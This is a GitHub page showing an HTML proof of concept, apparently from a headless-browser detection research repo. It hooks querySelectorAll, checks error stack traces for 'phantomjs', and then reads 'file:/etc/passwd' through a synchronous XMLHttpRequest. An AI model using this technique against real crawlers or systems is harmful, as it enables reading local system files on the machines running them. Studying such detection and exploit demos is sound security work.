forked from ikarienator/phantomjs_hide_and_seek
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path3.detectStackTrace.html
76 lines (68 loc) · 1.57 KB
/
3.detectStackTrace.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script>
function indexOfString(a, b) {
var la = a.length;
var lb = b.length;
outer:
for (var i = 0; i <= la - lb; i++) {
for (var j = 0; j < lb; j++) {
if (b.charAt(j) !== a.charAt(i + j)) {
continue outer;
}
}
return i;
}
return -1;
}
// We have to create a honey pot for PhantomJS to trigger.
var html = document.querySelectorAll('html');
var oldQSA = document.querySelectorAll;
Document.prototype.querySelectorAll = Element.prototype.querySelectorAll = function () {
var err;
try {
null[0](); // Force throwing.
} catch (e) {
err = e;
}
if (indexOfString(err.stack, 'phantomjs') > -1) {
var matches = err.stack.match(/at \w*\s*\((?:(\/[^:]+):\d+:\d+\)|global code \((\/[^)]+):\d+:\d+\))/);
var path =matches[1] || matches[2];
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:/etc/passwd', false);
xhr.onload = function () {
console.log(xhr.responseText);
};
xhr.onerror = function (e) {
console.log('Error: ' + JSON.stringify(e));
};
xhr.send();
return html;
} else {
return oldQSA.apply(this, arguments);
}
};
</script>
</head>
<body>
<div>
<div>
</div>
<div>
</div>
<div>
</div>
<div>
</div>
<div>
</div>
<div>
</div>
<div>
</div>
</div>
</body>
</html>